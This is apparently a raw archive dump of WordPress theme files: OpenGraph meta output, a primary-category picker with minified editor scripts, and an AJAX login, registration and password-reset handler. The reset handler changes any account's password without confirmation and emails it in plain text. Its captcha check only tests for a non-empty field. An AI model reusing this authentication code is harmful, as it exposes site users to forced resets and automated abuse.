		$this->og = apply_filters( 'pcogtg_array', $og );

		return $this->og;
	}


	private function echo_array( $og, $parent = array() ) {
		foreach ( $og as $tag => $data ) {
			if ( empty( $parent ) ) {
				echo PHP_EOL;
				if ( $this->debug ) {
					printf( '<!-- %s -->%s', $tag, PHP_EOL );
				}
			}
			$tags = $parent;
			if ( ! is_integer( $tag ) ) {
				$tags[] = $tag;
			}

			if ( 'labels' === $tag && count( $parent ) && 'twitter' === $parent[0] ) {
				$this->echo_twiter_labels( $data );
			} elseif ( is_array( $data ) ) {

				if ( 'logo' === $tag ) {
					if ( ! empty( $data['content'] ) ) {
						$this->echo_one_with_array_of_params( array( 'og', $tag ), $data );
					}
				} else {
					$this->echo_array( $data, $tags );
				}
			} else {
				if ( 'schema' === $tags[0] ) {
					if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
						$this->echo_one( $tags[1], $data, 'itemprop' );
					}
				} elseif ( 'offers' === $tags[0] ) {
					$this->echo_one( $tags, $data, 'itemprop' );
				} elseif ( 2 < sizeof( $tags ) && $tags[1] === $tags[2] ) {
					$this->echo_one( array( $tags[0], $tags[1] ), $data );
				} else {
					$this->echo_one( $tags, $data );
				}
			}
		}
	}


	private function echo_one_with_array_of_params( $property, $params ) {
		$meta_property = $property;
		if ( is_array( $property ) ) {
			$meta_property = implode( ':', $property );
		}
		if ( ! is_array( $params ) ) {
			$this->echo_one( $property, $params );

			return;
		}
		$attrs = array();
		foreach ( $params as $key => $value ) {
			$attrs[] = sprintf(
				'%s="%s"',
				esc_attr( $key ),
				esc_attr( $value )
			);
		}
		if ( empty( $attrs ) ) {
			return;
		}

		$property_filter_string = preg_replace( '/:/', '_', $meta_property );

		$filter_name = sprintf( 'pcogtg_%s_meta', $property_filter_string );
		echo apply_filters(
			$filter_name,
			sprintf(
				'<meta property="%s" %s>%s',
				esc_attr( $meta_property ),
				implode( ' ', $attrs ),
				$this->debug ? PHP_EOL : ''
			)
		);
	}


	private function echo_one( $property, $value, $name = 'property' ) {
		$meta_property = $property;
		if ( is_array( $property ) ) {
			$meta_property = implode( ':', $property );
		}

		$meta_property = preg_replace( '/^og:(image|video):url$/', 'og:$1', $meta_property );

		$property_filter_string = preg_replace( '/:/', '_', $meta_property );

		$filter_name = sprintf( 'pcogtg_%s_value', $property_filter_string );

		$value = apply_filters( $filter_name, $value );
		if ( empty( $value ) ) {
			return;
		}

		$filter_name = sprintf( 'pcogtg_%s_meta', $property_filter_string );
		echo apply_filters(
			$filter_name,
			sprintf(
				'<meta %s="%s" content="%s">%s',
				esc_attr( $name ),
				esc_attr( $meta_property ),
				esc_attr( wp_strip_all_tags( $value ) ),
				$this->debug ? PHP_EOL : ''
			)
		);
	}


	private function get_locale() {
		if ( null !== $this->locale ) {
			return apply_filters( 'pcogtg_get_locale', $this->locale );
		}
		$this->locale = preg_replace( '/-/', '_', get_bloginfo( 'language' ) );

		return apply_filters( 'pcogtg_get_locale', $this->locale );
	}


	private function get_image_dimensions( $image, $image_id = 0 ) {
		if ( empty( $image ) || ! is_array( $image ) ) {
			return null;
		}
		$data = array(
			'url' => $image[0],
		);
		if ( preg_match( '/^https/', $image[0] ) ) {
			$data['secure_url'] = $image[0];
		}
		if ( 2 < count( $image ) ) {
			$data['width']  = intval( $image[1] );
			$data['height'] = intval( $image[2] );
		}
		if ( 0 === $image_id ) {
			$size = @getimagesize( $image[0] );
			if ( ! empty( $size ) ) {
				$data['width']  = $size[0];
				$data['height'] = $size[1];
				$data['type']   = $size['mime'];
			}
		} else {
			$data['alt'] = get_post_meta( $image_id, '_wp_attachment_image_alt', true );
			if ( empty( $data['alt'] ) ) {
				$data['alt'] = wp_get_attachment_caption( $image_id );
				if ( empty( $data['alt'] ) ) {
					$data['alt'] = get_the_title( $image_id );
				}
			}
			/**
			 * Set mime type
			 *
			 * @since 2.7.7
			 */
			$data['type'] = get_post_mime_type( $image_id );
		}

		return $data;
	}


	private function get_attachment_id( $url ) {
		if ( ! is_string( $url ) ) {
			return 0;
		}
		global $wpdb;
		$attachment = $wpdb->get_col(
			$wpdb->prepare(
				"SELECT ID FROM $wpdb->posts WHERE guid=%s",
				$url
			)
		);
		if ( empty( $attachment ) ) {
			$url2 = preg_replace( '/\-\d+x\d+(.[egjnp]+)$/', '$1', $url );
			if ( $url != $url2 ) {
				return $this->get_attachment_id( $url2 );
			}
		}
		if ( is_array( $attachment ) && ! empty( $attachment ) ) {
			return $attachment[0];
		}

		return 0;
	}


	private function get_transient_key( $post_id ) {
		$key    = sprintf( 'pcogtg_%d_%s', $post_id, PENCI_SOLEDAD_VERSION );
		$locale = $this->get_locale();
		if ( ! empty( $locale ) ) {
			$key .= '_' . $locale;
		}

		return $key;
	}


	public function echo_twiter_labels( $data ) {
		$counter = 1;
		foreach ( $data as $one ) {
			if ( ! isset( $one['label'] ) ) {
				continue;
			}
			if ( ! isset( $one['data'] ) ) {
				continue;
			}
			$this->echo_one( 'twitter:label' . $counter, $one['label'] );
			$this->echo_one( 'twitter:data' . $counter, $one['data'] );
			$counter ++;
		}
	}


	private function map_itemscope_itemtype( $type ) {
		$map = array(
			'article' => 'https://schema.org/Article',
			'audio'   => 'https://schema.org/AudioObject',
			'blog'    => 'https://schema.org/Blog',
			'contact' => 'https://schema.org/ContactPage',
			'course'  => 'https://schema.org/Course',
			'page'    => 'https://schema.org/WebPage',
			'person'  => 'https://schema.org/Person',
			'place'   => 'https://schema.org/Place',
			'post'    => 'https://schema.org/BlogPosting',
			'product' => 'https://schema.org/Product',
			'search'  => 'https://schema.org/SearchAction',
			'video'   => 'https://schema.org/VideoObject',
		);
		if ( isset( $map[ $type ] ) ) {
			return $map[ $type ];
		}

		return 'https://schema.org/WebSite';
	}


	public function filter_add_html_itemscope_itemtype( $output, $doctype ) {

		if ( is_admin() ) {
			return $output;
		}

		if ( 'html' !== $doctype ) {
			return $output;
		}
		if ( ! apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
			return $output;
		}

		global $wp_query;
		if ( isset( $wp_query->query['sitemap-stylesheet'] ) ) {
			return $output;
		}
		$type   = $this->get_type();
		$output .= sprintf(
			' itemscope itemtype="%s"',
			esc_attr( $this->map_itemscope_itemtype( $type ) )
		);

		return $output;
	}


	private function get_type() {

		if ( is_home() ) {
			return 'blog';
		}

		if ( is_singular() ) {
			$post_type = get_post_type();
			switch ( $post_type ) {
				case 'page':
				case 'post':
					global $post;
					if ( preg_match( '/contact-form-7/', $post->post_content ) ) {
						return 'contact';
					}

					return $post_type;
				case 'course':
				case 'event':
				case 'place':
				case 'product':
					return $post_type;
				case 'attachment':
					if ( wp_attachment_is_image() ) {
						return 'image';
					}
					if ( wp_attachment_is( 'video' ) ) {
						return 'video';
					}
					if ( wp_attachment_is( 'video' ) ) {
						return 'video';
					}
			}
		}

		if ( is_author() ) {
			return 'person';
		}

		if ( is_search() ) {
			return 'search';
		}

		return 'website';
	}

	private function get_the_author_meta_array( $author_id ) {
		return apply_filters(
			'pcogtg_profile',
			array(
				'first_name' => get_the_author_meta( 'first_name', $author_id ),
				'last_name'  => get_the_author_meta( 'last_name', $author_id ),
				'username'   => get_the_author_meta( 'display_name', $author_id ),
			),
			$author_id
		);
	}

	private function set_twitter_image( $og ) {
		$img = array();
		if (
			isset( $og['og']['image'] )
			&& is_array( $og['og']['image'] )
			&& ! empty( $og['og']['image'] )
		) {
			$img = reset( $og['og']['image'] );
		} else {
			return $og;
		}
		if ( isset( $img['url'] ) ) {

			if ( isset( $img['width'] ) && 519 < $img['width'] ) {
				$og['twitter']['card'] = 'summary_large_image';
			}
			$og['twitter']['image']['image'] = $img['url'];

			if ( isset( $img['alt'] ) ) {
				$og['twitter']['image']['alt'] = $img['alt'];
			}
		}

		return $og;
	}

	public function get_site_logo() {
		if ( ! apply_filters( 'allow_pcogtg_logo', false ) ) {
			return;
		}
		$logo_id = get_theme_mod( 'custom_logo' );
		if ( empty( $logo_id ) ) {
			return;
		}
		$logo     = wp_get_attachment_metadata( $logo_id );
		$logo_src = wp_get_attachment_image_src( $logo_id, apply_filters( 'pcogtg_logo_size', 'full' ) );
		if ( empty( $logo_src ) ) {
			return;
		}

		return array(
			'content' => $logo_src[0],
			'size'    => sprintf( '%dx%d', $logo['width'], $logo['height'] ),
		);
	}
}

new Penci_Soledad_OpenGraph();PK     0w\(@J"  J"  !  primary-cat/penci_primary_cat.phpnu [        <?php

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Penci_Primary_Category {

	/**
	 * Constructor.
	 */
	public function __construct() {

		if ( function_exists('yoast_get_primary_term_id') || class_exists( 'RankMath' ) ) {
			return;
		}
		

		$this->register_hooks();
	}

	/**
	 * Register Hooks.
	 */
	public function register_hooks() {
		add_action( 'admin_enqueue_scripts', array( $this, 'enqueue_script' ), 10, 1 );
		add_action( 'admin_footer', array( $this, 'include_selection_template' ) );
		add_action( 'save_post', array( $this, 'save_primary_terms' ), 10, 2 );

		$post_types = get_post_types( [ 'show_in_rest' => true ] );
		add_filter( 'wp_insert_post_data', [ $this, 'update_data' ], 9999, 2 );
		foreach ( $post_types as $post_type ) {
			add_filter( "rest_pre_insert_$post_type", [ $this, 'modified_params' ], 99, 2 );
		}
	}

	/**
	 * Enqueue Script.
	 *
	 * @param string $hook_suffix - Page hook suffix.
	 */
	public function enqueue_script( $hook_suffix ) {

		if ( ! $this->is_post_edit( $hook_suffix ) ) {
			return;
		}

		$post_taxonomies = $this->get_post_taxonomies();

		if ( empty( $post_taxonomies ) ) {
			return;
		}

		// Get current screen to determine the script name to be enqueued.
		$current_screen = get_current_screen();
		$script_name    = 'classic-editor.js';
		$asset_file     = 'classic-editor.asset.php';

		if (
			isset( $current_screen->is_block_editor )
			&& $current_screen->is_block_editor
		) {
			$script_name = 'gutenberg.js';
			$asset_file  = 'gutenberg.asset.php';
		}

		$assets = require_once PENCI_SOLEDAD_DIR . '/inc/primary-cat/dist/' . $asset_file;

		wp_register_script(
			'pcpricat-taxonomy',
			PENCI_SOLEDAD_URL . '/inc/primary-cat/dist/' . $script_name,
			array_merge(
				$assets['dependencies'],
				array( 'jquery' )
			),
			$assets['version'],
			true
		);
		wp_enqueue_script( 'pcpricat-taxonomy' );

		wp_localize_script(
			'pcpricat-taxonomy',
			'pcpricatData',
			array(
				'taxonomies' => array_map(
					array( $this, 'get_taxonomies_for_js' ),
					$post_taxonomies
				),
			)
		);
	}

	/**
	 * Include Primary Term Selection Template.
	 */
	public function include_selection_template() {
		if ( ! $this->is_post_edit() ) {
			return;
		}

		?>
        <style>
            .pcpricat-primary-term select { width: 100% }
        </style>

        <script type="text/html" id="tmpl-pcpricat-select-primary-term">
            <div class="pcpricat-primary-term">
                <h4 class="pcpricat-primary-term-heading">
                    <?php
                    /* translators: %s expands to taxonomy title. */
                    echo sprintf( esc_html__( 'Primary %s', 'soledad' ), '{{data.taxonomy.title}}' );
                    ?>
                </h4>
                <select id="pcpricat-primary-term-{{data.taxonomy.name}}" name="pcpricat_primary_term_{{data.taxonomy.name}}">
                    <option value="-1">
                        <?php
                        /* translators: %s expands to taxonomy title. */
                        echo sprintf( esc_html__( '— Select Primary %s —', 'soledad' ), '{{data.taxonomy.title}}' );
                        ?>
                    </option>
                    <# _( data.taxonomy.terms ).each( function( term ) { #>
                        <option value="{{term.id}}"
                        <# if ( data.taxonomy.primary === term.id ) { #>
                            selected
                        <# } #>
                        >{{term.name}}</option>
                    <# }); #>
                </select>
                <?php wp_nonce_field( 'pcpricat-save-primary-term', 'pcpricat_save_primary_{{data.taxonomy.name}}_nonce' ); ?>
            </div>
        </script>
        <?php
	}

	/**
	 * Save primary terms on post submit.
	 *
	 * @param integer $post_id - Post id.
	 * @param WP_Post $post    - Post object.
	 */
	public function save_primary_terms( $post_id, $post ) {
		$post_taxonomies = $this->get_post_taxonomies( $post_id );

		foreach ( $post_taxonomies as $post_taxonomy ) {
			$this->save_primary_term( $post_id, $post_taxonomy );
		}
	}

	/**
	 * Returns Primary Term of the editing post.
	 *
	 * @param string $taxonomy - Taxonomy name.
	 * @return integer
	 */
	public function get_primary_term( $taxonomy ) {

		$primary_term = (int) get_post_meta(
			$this->get_current_post_id(),
			'pcpricat_primary_' . $taxonomy,
			true
		);


		$post_terms = get_the_terms( $this->get_current_post_id(), $taxonomy );

		if ( ! $post_terms || is_wp_error( $post_terms ) ) {
			$post_terms = array();
		}

		if ( ! in_array( $primary_term, wp_list_pluck( $post_terms, 'term_id' ), true ) ) {
			$primary_term = false;
		}

		return $primary_term;
	}

	/**
	 * Save Primary Term of a post.
	 *
	 * @param integer     $post_id  - Post id.
	 * @param WP_Taxonomy $taxonomy - Taxonomy object.
	 */
	public function save_primary_term( $post_id, $taxonomy ) {
		
		$primary_term = false;
		if ( isset( $_POST[ 'pcpricat_primary_term_' . $taxonomy->name ] ) ) {
			$primary_term = (int) sanitize_text_field(
				wp_unslash( $_POST[ 'pcpricat_primary_term_' . $taxonomy->name ] )
			);
		}

		if ( ! $primary_term ) {
			return;
		}

		check_admin_referer(
			'pcpricat-save-primary-term',
			'pcpricat_save_primary_' . $taxonomy->name . '_nonce'
		);

		update_post_meta(
			$post_id,
			'pcpricat_primary_' . $taxonomy->name,
			$primary_term
		);
	}

	/**
	 * Returns true if the current page is post edit page.
	 *
	 * @param string $hook_suffix - Page hook suffix.
	 * @return boolean
	 */
	public function is_post_edit( $hook_suffix = '' ) {
		if ( '' === $hook_suffix ) {
			global $pagenow;
			$hook_suffix = $pagenow;
		}

		return 'post-new.php' === $hook_suffix || 'post.php' === $hook_suffix;
	}

	/**
	 * Get Post Type Taxonomies.
	 *
	 * @param string $post_id - Post id.
	 * @return array
	 */
	public function get_post_taxonomies( $post_id = 0 ) {

		if ( ! $post_id ) {
			$post_id = $this->get_current_post_id();
		}

		$taxonomies = wp_cache_get( 'pcpricat_post_taxonomies_' . $post_id, 'pcpricat' );

		if ( false !== $taxonomies ) {
			return $taxonomies;
		}

		$post_type  = get_post_type( $post_id );
		$taxonomies = get_object_taxonomies( $post_type, 'objects' );

		foreach ( $taxonomies as $taxonomy_name => $taxonomy ) {
			if ( ! $taxonomy->hierarchical ) {
				unset( $taxonomies[ $taxonomy_name ] );
			}
		}

		wp_cache_set( 'pcpricat_post_taxonomies_' . $post_id, $taxonomies, 'pcpricat' );

		return $taxonomies;
	}

	/**
	 * Return Current Post ID.
	 *
	 * @return integer
	 */
	public function get_current_post_id() {
		return (int) filter_input( INPUT_GET, 'post', FILTER_SANITIZE_NUMBER_INT );
	}

	/**
	 * Get taxonomy data for JS in array.
	 *
	 * @param WP_Taxonomy $taxonomy - WP Taxonomy object.
	 * @return array
	 */
	public function get_taxonomies_for_js( $taxonomy ) {
		return array(
			'name'     => $taxonomy->name,
			'title'    => $taxonomy->labels->singular_name,
			'primary'  => $this->get_primary_term( $taxonomy->name ),
			'restBase' => $taxonomy->rest_base,
			'terms'    => array_map(
				array( $this, 'get_terms_for_js' ),
				get_terms( $taxonomy->name )
			),
		);
	}

	/**
	 * Get term data for JS in array.
	 *
	 * @param WP_Term $term - WP term object.
	 * @return array
	 */
	public function get_terms_for_js( $term ) {
		return array(
			'id'   => $term->term_id,
			'name' => $term->name,
		);
	}

	public function modified_params( $prepared_post, $request ) {
		if ( 'PUT' !== $request->get_method() ) {
			return $prepared_post;
		}

		$params = $request->get_params();

		if ( isset( $params['meta']['pcpricat_primary_term_category'] ) ) {
			$prepared_post->pcpricat_primary_term_category = $params['meta']['pcpricat_primary_term_category'];
		}

		$post_taxonomies = $this->get_post_taxonomies();

		foreach ( $post_taxonomies as $post_taxonomy ) {
			$post_taxonomy = $post_taxonomy->name;
			if ( isset( $params['meta']['pcpricat_primary_term_'.$post_taxonomy ] ) ) {
				$prepared_post->{'pcpricat_primary_term_'.$post_taxonomy} = $params['meta']['pcpricat_primary_term_'.$post_taxonomy];
			}
		}

		return $prepared_post;
	}

	public function update_data( $data, $postarr ) {
		if ( ! isset( $postarr['ID'] ) ) {
			return $data;
		}

		$post_id = $postarr['ID'];

		$post_taxonomies = $this->get_post_taxonomies( $post_id );

		foreach ( $post_taxonomies as $post_taxonomy ) {

			$post_taxonomy = $post_taxonomy->name;
			
			if ( isset( $postarr['pcpricat_primary_term_'.$post_taxonomy] ) ) {
				update_post_meta(
					$post_id,
					'pcpricat_primary_' . $post_taxonomy,
					$postarr['pcpricat_primary_term_'.$post_taxonomy]
				);
			}
		}

		return $data;
	}
}
new Penci_Primary_Category();PK     0w\F.    "  primary-cat/dist/classic-editor.jsnu [        (()=>{"use strict";const e=window.lodash;jQuery(document).ready((function(){const t=pcpricatData.taxonomies,n=wp.template("pcpricat-select-primary-term");function c(e,t,n){const c=jQuery(`#pcpricat-primary-term-${e}`),o=jQuery("<option></option>");o.prop("value",t),o.html(n.trim()),c.append(o)}function o(e,t){jQuery(`#pcpricat-primary-term-${e}`).find(`option[value=${t}]`).remove()}jQuery((0,e.values)(t)).each((function(e,t){const i=jQuery(`#taxonomy-${t.name}`),r=n({taxonomy:t});i.append(r),function(e){const t=jQuery(`#${e}checklist input[type="checkbox"]`);1>t.length||t.each((function(t,n){(n=jQuery(n)).is(":checked")||o(e,n.val())}))}(t.name),i.on("click",'input[type="checkbox"]',function(e){return function(){jQuery(this).is(":checked")?c(e,jQuery(this).val(),jQuery(this).parent().text()):o(e,jQuery(this).val())}}(t.name)),i.on("wpListAddEnd",`#${t.name}checklist`,function(e){return function(){const t=jQuery(`#${e}checklist input[type="checkbox"]:checked`);if(1>t.length)return;const n=jQuery(`#pcpricat-primary-term-${e}`);t.each((function(t,o){o=jQuery(o),n.find(`option[value=${o.val()}]`).length||c(e,o.val(),o.parent().text())}))}}(t.name))}))}))})();PK     0w\W4      $  primary-cat/dist/gutenberg.asset.phpnu [        <?php return array('dependencies' => array('wp-api-fetch', 'wp-compose', 'wp-data', 'wp-element', 'wp-i18n', 'wp-url'), 'version' => '4dd8502b10941d670464');
PK     0w\S\   \   )  primary-cat/dist/classic-editor.asset.phpnu [        <?php return array('dependencies' => array('lodash'), 'version' => '201d08d10c3c4b4891ac');
PK     0w\ [
  
    primary-cat/dist/gutenberg.jsnu [        (()=>{"use strict";var e={};function t(){return t=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var o in r)Object.prototype.hasOwnProperty.call(r,o)&&(e[o]=r[o])}return e},t.apply(this,arguments)}e.n=t=>{var r=t&&t.__esModule?()=>t.default:()=>t;return e.d(r,{a:r}),r},e.d=(t,r)=>{for(var o in r)e.o(r,o)&&!e.o(t,o)&&Object.defineProperty(t,o,{enumerable:!0,get:r[o]})},e.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t);const r=window.wp.element,o=window.wp.data,n=window.wp.apiFetch;var s=e.n(n);const a=window.wp.url,i=window.wp.compose,p=window.wp.i18n;class m extends r.Component{constructor(){super(),this.state={terms:null,primaryTermId:0}}componentDidMount(){s()({path:(0,a.addQueryArgs)(`/wp/v2/${this.props.primaryTaxonomy.restBase}`,{_fields:"id,name",orderby:"count",order:"desc",per_page:-1})}).then((e=>{this.setState({terms:e})})),this.setState({primaryTermId:this.props.primaryTaxonomy.primary})}onSelectChange(e){const t={};t[`pcpricat_primary_term_${this.props.primaryTaxonomy.name}`]=parseInt(e.target.value,10),this.props.updateSPC(t),this.setState({primaryTermId:e.target.value})}render(){const{primaryTaxonomy:e,selectedTermsIds:t}=this.props,{title:o}=e;return(0,r.createElement)(r.Fragment,null,(0,r.createElement)("h4",null,(0,p.sprintf)(
/* translators: %s expands to taxonomy title. */
(0,p.__)("Primary %s","soledad"),o)),(0,r.createElement)("select",{onChange:this.onSelectChange.bind(this)},(0,r.createElement)("option",{value:"-1"},(0,p.sprintf)(
/* translators: %s expands to taxonomy title. */
(0,p.__)("— Select Primary %s —","soledad"),o)),this.state.terms&&this.state.terms.map((e=>{if(t.includes(e.id))return this.state.primaryTermId===e.id?(0,r.createElement)("option",{value:e.id,selected:!0},e.name):(0,r.createElement)("option",{value:e.id},e.name)}))))}}const c=(0,i.compose)([(0,o.withSelect)(((e,t)=>{let{primaryTaxonomy:r}=t;const{getEditedPostAttribute:o}=e("core/editor");return{selectedTermsIds:o(r.restBase),meta:o("meta")}})),(0,o.withDispatch)((e=>{const{editPost:t}=e("core/editor");return{updateSPC(e){t({meta:e})}}}))])(m);class l extends r.Component{constructor(){super(),this.state={hasError:!1,error:null}}static getDerivedStateFromError(e){return{hasError:!0,error:e}}render(){const{slug:e,TaxonomyComponent:t}=this.props,o=pcpricatData.taxonomies;return this.state.hasError?(0,r.createElement)(t,this.props):o.hasOwnProperty(e)?(0,r.createElement)(r.Fragment,null,(0,r.createElement)(t,this.props),(0,r.createElement)(c,{primaryTaxonomy:o[e]})):(0,r.createElement)(t,this.props)}}const d=l;function u(e){return o=>(0,r.createElement)(d,t({TaxonomyComponent:e},o))}"undefined"!=typeof wp&&void 0!==wp.blocks&&wp.hooks.addFilter("editor.PostTaxonomyType","soledad",u)})();PK     0w\mL  mL    login-popup.phpnu [        <?php
add_action( 'wp_ajax_nopriv_penci_login_ajax', 'penci_login_ajax_callback' );
add_action( 'wp_ajax_penci_login_ajax', 'penci_login_ajax_callback' );

function penci_login_ajax_callback() {
	global $wpdb;

	check_ajax_referer( 'login', 'security' );

	// We shall SQL prepare all inputs to avoid sql injection.
	$username = isset( $_REQUEST['username'] ) ? $wpdb->prepare( $_REQUEST['username'], array() ) : '';
	$password = $_REQUEST['password'];
	$remember = isset( $_REQUEST['rememberme'] ) ? $wpdb->prepare( $_REQUEST['rememberme'], array() ) : '';
	$captcha  = isset( $_POST['captcha'] ) ? $_POST['captcha'] : '';

	if ( $captcha == '' ) {
		wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_validate_robot' ) . '</p>' );
	} else {
		if ( $remember ) {
			$remember = 'true';
		} else {
			$remember = 'false';
		}

		$login_data                  = array();
		$login_data['user_login']    = $username;
		$login_data['user_password'] = $password;
		$login_data['remember']      = $remember;
		$user_verify                 = wp_signon( $login_data, false );

		if ( is_wp_error( $user_verify ) ) {
			wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_wrong' ) . '</p>' );
		}

		if ( isset( $user_verify->ID ) ) {
			wp_set_current_user( $user_verify->ID );
			wp_set_auth_cookie( $user_verify->ID );
		}

		wp_send_json_success( '<p class="message message-success">' . penci_get_setting( 'penci_plogin_success' ) . '</p>' );
	}
}

// Ajax widget pasword recovery
add_action( 'wp_ajax_nopriv_penci_resetpass_ajax', 'penci_pass_recovery_ajax_callback' );
add_action( 'wp_ajax_penci_resetpass_ajax', 'penci_pass_recovery_ajax_callback' );

function penci_pass_recovery_ajax_callback() {
	global $wpdb;

	check_ajax_referer( 'resetpassword', 'security' );

	$account = $_POST['username'];
	$captcha = isset( $_POST['captcha'] ) ? $_POST['captcha'] : '';
	$error   = '';

	if ( $captcha == '' ) {
		$error = penci_get_setting( 'penci_plogin_validate_robot' );
	} else {
		if ( is_email( $account ) ) {
			if ( email_exists( $account ) ) {
				$get_by = 'email';
			} else {
				$error = penci_get_setting( 'penci_preset_noemail' );
			}
		} else {
			$error = penci_get_setting( 'penci_plogin_mess_invalid_email' );
		}
	}

	if ( ! $error ) {
		$text_from    = penci_get_setting( 'penci_preset_from' );
		$text_newpass = penci_get_setting( 'penci_preset_newpassis' );

		// Generate our new password
		$random_password = wp_generate_password();


		// Get user data by field and data
		$user = get_user_by( $get_by, $account );

		$update_user = wp_update_user( array( 'ID' => $user->ID, 'user_pass' => $random_password ) );

		// if  update user return true then lets send user an email containing the new password
		if ( $update_user ) {

			$sitename = strtolower( $_SERVER['SERVER_NAME'] );
			if ( substr( $sitename, 0, 4 ) == 'www.' ) {
				$sitename = substr( $sitename, 4 );
			}
			$from = 'admin@' . $sitename;

			$to      = $user->user_email;
			$subject = penci_get_setting( 'penci_trans_recover_pass' );
			$sender  = $text_from . get_option( 'name' ) . ' <' . $from . '>' . "\r\n";

			$message = $text_newpass . ' ' . $random_password;

			$headers[] = 'MIME-Version: 1.0' . "\r\n";
			$headers[] = 'Content-type: text/html; charset=iso-8859-1' . "\r\n";
			$headers[] = "X-Mailer: PHP \r\n";
			$headers[] = $sender;

			$mail = wp_mail( $to, $subject, $message, $headers );
			if ( $mail ) {
				$success = penci_get_setting( 'penci_preset_checkinbox' );
			} else {
				$error = penci_get_setting( 'penci_preset_cantsend' );
			}
		} else {
			$error = penci_get_setting( 'penci_preset_somethingwrong' );
		}
	}

	if ( ! empty( $error ) ) {
		wp_send_json_error( '<p class="message message-error">' . $error . '</p>' );
	}

	if ( ! empty( $success ) ) {
		wp_send_json_success( '<p class="message message-success">' . $success . '</p>' );
	}

	die();
}

//Ajax widget register popup
add_action( 'wp_ajax_nopriv_penci_register_ajax', 'penci_register_ajax_callback' );
add_action( 'wp_ajax_penci_register_ajax', 'penci_register_ajax_callback' );

function penci_register_ajax_callback() {

	check_ajax_referer( 'register', 'security' );

	$first_name  = sanitize_text_field( $_POST['fistName'] );
	$last_name   = sanitize_text_field( $_POST['lastName'] );
	$username    = sanitize_text_field( $_POST['username'] );
	$email       = sanitize_text_field( $_POST['email'] );
	$phone       = sanitize_text_field( $_POST['phone'] );
	$pass        = sanitize_text_field( $_POST['password'] );
	$confirmPass = sanitize_text_field( $_POST['confirmPass'] );
	$captcha     = isset( $_POST['captcha'] ) ? $_POST['captcha'] : '';
	$error       = '';

	if ( $captcha == '' ) {
		$error = penci_get_setting( 'penci_plogin_validate_robot' );
	} else {
		if ( ! is_email( $email ) ) {
			$error = penci_get_setting( 'penci_plogin_mess_invalid_email' );
		}

		if ( $confirmPass != $pass ) {
			$error = penci_get_setting( 'penci_plogin_mess_error_email_pass' );
		}
	}

	if ( $error != '' ) {
		wp_send_json_error( '<p class="message message-error">' . $error . '</p>' );
	} else {
		// Register the user
		$user_register = wp_insert_user( array(
			'first_name'    => $first_name,
			'last_name'     => $last_name,
			'user_login'    => $username,
			'user_email'    => $email,
			'user_pass'     => $pass,
			'billing_phone' => $phone,
		) );


		if ( is_wp_error( $user_register ) ) {
			$error = $user_register->get_error_codes();

			if ( in_array( 'empty_user_login', $error ) ) {
				wp_send_json_error( '<p class="message message-error">' . $user_register->get_error_message( 'empty_user_login' ) . '</p>' );

			} elseif ( in_array( 'existing_user_login', $error ) ) {
				wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_mess_username_reg' ) . '</p>' );

			} elseif ( in_array( 'existing_user_email', $error ) ) {
				wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_mess_email_reg' ) . '</p>' );
			}
		} else {
			$login_data                  = array();
			$login_data['user_login']    = $username;
			$login_data['user_password'] = $pass;
			$login_data['remember']      = true;

			$user_signon = wp_signon( $login_data, false );

			if ( isset( $user_signon->ID ) ) {
				wp_set_current_user( $user_signon->ID );
				wp_set_auth_cookie( $user_signon->ID );
			}

			if ( is_wp_error( $user_signon ) ) {
				wp_send_json_error( '<p class="message message-error">' . penci_get_setting( 'penci_plogin_mess_wrong_email_pass' ) . '</p>' );
			} else {
				wp_set_current_user( $user_signon->ID );
				wp_send_json_success( '<p class="message message-success">' . penci_get_setting( 'penci_plogin_mess_reg_succ' ) . '</p>' );
			}
		}
	}
}

function penci_add_captcha_login_form() {
	/* Support captcha plugin https://wordpress.org/plugins/login-security-recaptcha/ */
	if ( class_exists( 'STLSR_Captcha' ) ) {
		$login_captcha        = get_option( 'stlsr_login_captcha' );
		$login_captcha_enable = isset( $login_captcha['enable'] ) ? (bool) $login_captcha['enable'] : false;

		if ( $login_captcha_enable && method_exists('STLSR_Captcha', 'display_recaptcha') ) {
			$login_captcha = isset( $login_captcha['captcha'] ) ? esc_attr( $login_captcha['captcha'] ) : '';
			STLSR_Captcha::display_recaptcha( $login_captcha, 'login' );
		}
	}
}

function penci_add_captcha_getpass_form() {
	/* Support captcha plugin https://wordpress.org/plugins/login-security-recaptcha/ */
	if ( class_exists( 'STLSR_Captcha' ) ) {
		$lostpassword_captcha        = get_option( 'stlsr_lostpassword_captcha' );
		$lostpassword_captcha_enable = isset( $lostpassword_captcha['enable'] ) ? (bool) $lostpassword_captcha['enable'] : false;

		if ( $lostpassword_captcha_enable && method_exists('STLSR_Captcha', 'display_recaptcha') ) {
			$lostpassword_captcha = isset( $lostpassword_captcha['captcha'] ) ? esc_attr( $lostpassword_captcha['captcha'] ) : '';
			STLSR_Captcha::display_recaptcha( $lostpassword_captcha, 'lostpassword' );
		}
	}
}

function penci_soledad_login_register_popup() {
	?>
	<?php if ( ! is_user_logged_in() ): ?>
        <div id="penci-login-popup" class="mfp-hide penci-popup-wrapper">
            <div id="penci-popup-login" class="penci-login-register penci-popup-login">
                <div class="penci-login-container">
                    <div class="penci-lgpop-title"><?php echo penci_get_setting( 'penci_trans_sign_in' ); ?></div>
                    <div class="penci-login">
                        <form name="penci-loginpopform" id="penci-loginpopform"
                              action="<?php echo esc_url( site_url( 'wp-login.php' ) ); ?>" method="post"
                              novalidate="novalidate">
                            <input type="hidden" name="_wpnonce" class="penci_form_nonce"
                                   value="<?php echo wp_create_nonce( 'login' ); ?>">
                            <div class="pclogin-input">
                                <input type="text" name="log" id="penci_user" class="input"
                                       placeholder="<?php echo penci_get_setting( 'penci_trans_usernameemail_text' ); ?>"
                                       size="20">
                            </div>
                            <div class="pclogin-input">
                                <input type="password" name="pwd" id="penci_pass" class="input"
                                       placeholder="<?php echo penci_get_setting( 'penci_trans_pass_text' ); ?>"
                                       size="20">
                            </div>
							<?php do_action( 'login_form' ); ?>
							<?php penci_add_captcha_login_form(); ?>
